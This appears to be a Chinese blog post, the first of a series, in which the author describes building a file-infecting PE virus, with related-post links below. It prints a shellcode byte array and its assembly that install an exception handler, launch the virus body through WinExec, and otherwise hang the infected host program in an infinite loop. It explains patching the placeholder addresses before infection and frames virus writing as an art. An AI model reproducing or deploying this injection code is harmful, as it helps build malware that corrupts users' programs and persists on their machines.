在我看来,感染型病毒才是真正称得上为病毒,因为感染型病毒的手动清除比较困难,大学的时候,帮同学杀毒最烦躁的就是碰上感染型的病毒,除非写一个程序自动处理,不然手动清除是相当麻烦的.当然我所谓的真正病毒主要是在我看来,能够轻易用手工清除的病毒都不是好的病毒.现在病毒制造者追求的是快速的传播速度,而忽略了病毒的"顽固性",一个木马简单的就使用一个启动的注册表项显然在清理上太方便了,甚至可以进安全模式删了注册表项,连病毒尸体都可以无视,这样就已经不能发挥作用了.

随着对PE格式的深入研究和高级语言的发展,编写感染型的病毒已经不再是只能用asm才能做到的.高级语言如VC同样也可以完成,不过缺点就是编译出来的病毒体太大.也是,现在的硬件水平,人们已经不再在乎这10+KB的空间.但是,病毒编写是一种艺术,这种艺术在于它的隐蔽性,短短的注入100byte,利用程序本身的空隙不增加程序的长度是这种艺术的体现.当然,代码长度的限制也必然导致注入代码功能的减少.一个星期前写了一个感染型病毒的雏形,写下来当作是一种复习吧.

注入感染:

既然PE程序本身存在的空白可利用空间不大.那么采取一种折中的方式,在感染PE文件时,注入病毒文件的启动代码,这样就节省了大部分空间,当检查到病毒实体被清除后,可以采取破坏宿主程序运行流程的方式进行"示威"

unsigned char InjectCode[] = { 0x68, 0x44, 0x33, 0x22, 0x11, 0x33, 0xC0, 0x64, 0xFF, 0x30, 0x64, 0x89, 0x20, 0x50, 0x68, 0x44, 0x33, 0x22, 0x11, 0xB8, 0x44, 0x33, 0x22, 0x11, 0xFF, 0xD0, 0x3C, 0x02, 0x74, 0x1E, 0x33, 0xC0, 0x64, 0x8F, 0x00, 0x5A, 0x68, 0x44, 0x33, 0x22, 0x11, 0xC3, 0x68, 0x44, 0x33, 0x22, 0x11, 0x8B, 0x44, 0x24, 0x10, 0x8F, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC3, 0xEB, 0xFE }; /*********************************************** InjectCode[] = __asm{PUSH 11223344H ;安装SEHXOR EAX,EAXPUSH DWORD PTR FS:[EAX]MOV DWORD PTR FS:[EAX],ESPPUSH EAX ;uCmdShowPUSH 11223344H ;lpCmdLineMOV EAX,11223344H ;offset aWinExecCALL EAX ;Call WinExecCMP AL,2 ;判断病毒存在与否JE LABEL ;不存在则跳去死循环XOR EAX,EAX ;卸载SEHPOP DWORD PTR FS:[EAX]POP EDXPUSH 11223344H ;宿主程序原OEPRETN ;返回执行PUSH 11223344H ;SEH异常处理程序MOV EAX,DWORD PTR [ESP+10H]POP DWORD PTR [EAX+0B8H] ;将宿主OEP作为安全地址返回XOR EAX,EAXRETN LABEL:JMP LABEL ;JMP -2(OxEBFE)} ************************************************/

注入代码就是下面_asm中汇编代码的对应的机器码.

这部分注入代码的运行流程是:安装SEH->WinExec()->判断运行是否成功->不成功则进入死循环,成功则返回宿主执行

安装SEH主要是为了保证注入感染后程序的健壮性,因为WinExec()的地址是硬编码进去,如果换了系统容易导致异常,安装SEH后如果出现异常也可以返回宿主代码执行.11223344H是占位地址,需要改成相应的地址.这里使用WinExec而不用CreateProcess主要是后者的函数参数太多,使用WinExec的实质也是调用CreateProcess,但是参数只有2个,节省了10多个字节的空间.并且由于我们已经安装了SEH,也不怕Winexec产生异常.

有了上面的注入代码,搜集必要地址信息完善注入代码后就可以进行感染.

To be continue...

关于感染型病毒的那些事(一)相关推荐

  1. 关于感染型病毒的那些事(二)

    从(一)中建立了初步的注入代码后,需要把用来占位的11223344H改为相应的地址,用一个函数来完成. //OEP是从PE头中得到的程序入口点,VEP是病毒注入的起始位置,ImageBase是文件基址 ...

  2. 关于感染型病毒的那些事(三)

    前段时间,我在网上下载了一个3D游戏,想要玩的时候却被提示需要将IE的主页设置为特定的网址才能玩这个游戏.对于我这种有"系统洁癖"的人来说,最反感的就是这种要求,用Peid查了下, ...

  3. 关于感染型病毒ramnit和runner的查杀记事

    主要是在测试一些软件的时候不小心中毒的,当时还是拿虚拟机测试软件,但是复制出来的时候中毒了. 记得复制出来的时候,某杀软还提醒了一下,但是没当回事,轻易加白名单了,因为文件中有一个是自己写的批处理, ...

  4. Ramnit感染型病毒分析与处置

    0x01 背景 Ramnit病毒最早于2010年被发现,通过感染可执⾏⽂件和html⽂件传播.后续的变种中被增加了与C&C通讯的功能,从⽽使攻击者可以控制Ramnit感染的僵⼫⽹络. Ramn ...

  5. Ramnit感染型病毒创建傀儡进程的方法

    Ramnit感染型病毒创建傀儡进程的方法 样本信息: MD5: FF5E1F27193CE51EEC318714EF038BEF SHA1: B4FA74A6F4DAB3A7BA702B6C8C129 ...

  6. sality感染型病毒

    Sality病毒是一种多态的感染型病毒.病毒运行后,会终止安全相关软件和服务,感染系统内的exe和scr文件.并且注入病毒线程到所有进程中,在后台下载病毒到系统.同时它创建自身拷贝到可移动设备或者网络 ...

  7. Virut感染型病毒查杀工具

      职业病毒分析师的职责是为安全运营团队提供有力的后台支持,并能处置突发的大型感染病毒和勒索病毒. 在医院和制造业是感染病毒的重灾区.感染病毒往往针对exe.dll.html格式文件.   下面是自己 ...

  8. 一例感染型病毒样本的分析

    这个样本是会释放两个dll和一个驱动模块,通过感染USB设备中exe文件传播,会向C&C下载PE执行,通过rookit关闭常用的杀软,是一例典型的感染型病毒,有一定的学习价值. 原始样本 样本 ...

  9. 关于Synaptics.exe感染型病毒

    我打开excel文件时,出现了这个 每次打开就出现这个,以为是笔记本触控板的驱动,看着电脑也没啥事,就信任了它,没有清理掉,结果来了 编译c语言形成的exe文件就被感染了 打开任务管理器,果然看见Sy ...

最新文章

  1. 《oracle大型数据库系统在AIX/unix上的实战详解》集中讨论42:在AIX环境下安装Oracle11gR1 文平...
  2. bootstrape实战案例_第二百五十二节,Bootstrap项目实战-首页
  3. MFC中实现模态对话框的结构与原理
  4. 祁是计算机,南京邮电大学计算机/软件学院导师介绍:祁正华
  5. Bella团队正在进行Flex Saving v2上线最后的准备工作
  6. 使用pscp在Linux、Windows间互传文件
  7. Mysql之无法查询中文字解决办法
  8. 荐书 | 9本心理治疗书籍推荐
  9. leetcode(Array)---11,盛最多水的容器
  10. Codesys配置电子凸轮连接虚轴
  11. python中的可迭代是什么意思_Python可迭代跟迭代器的区别
  12. 【高效程序员系列】别碰鼠标——让键盘飞起来
  13. Linq to sql 求和操作
  14. 搭建CTF-AWD训练平台
  15. 系统安装时出现 \EFI\BOOT\mmx64.sfi -Not Found
  16. 灾难-NAS服务器用的西数红盘报警处理
  17. ecshop文件结构详解
  18. MSFLEXGRID控件在win7、VS2008下注册
  19. mysql建立司机表,MYSQL进阶,生手变司机
  20. Python九乘九乘法口诀表

热门文章

  1. word,excel,ppt在线预览功能
  2. linux usb检测工具,Linux下USB设备检测全教程
  3. JTextArea用法
  4. java--for循环执行的顺序
  5. linux kernel debug 之 CallTrace
  6. RTL8370N 8口千兆交换机 PCB图纸方案资料 和芯片的datasheet
  7. PARI/GP 语言:从入门到实现大素数判定与大数分解
  8. docekrfile
  9. SAR成像系列:【7】合成孔径雷达(SAR)成像算法-后向投影(Back Projecting)算法(附Matlab代码)
  10. 彻底了解 suid, sgid ,sticky权限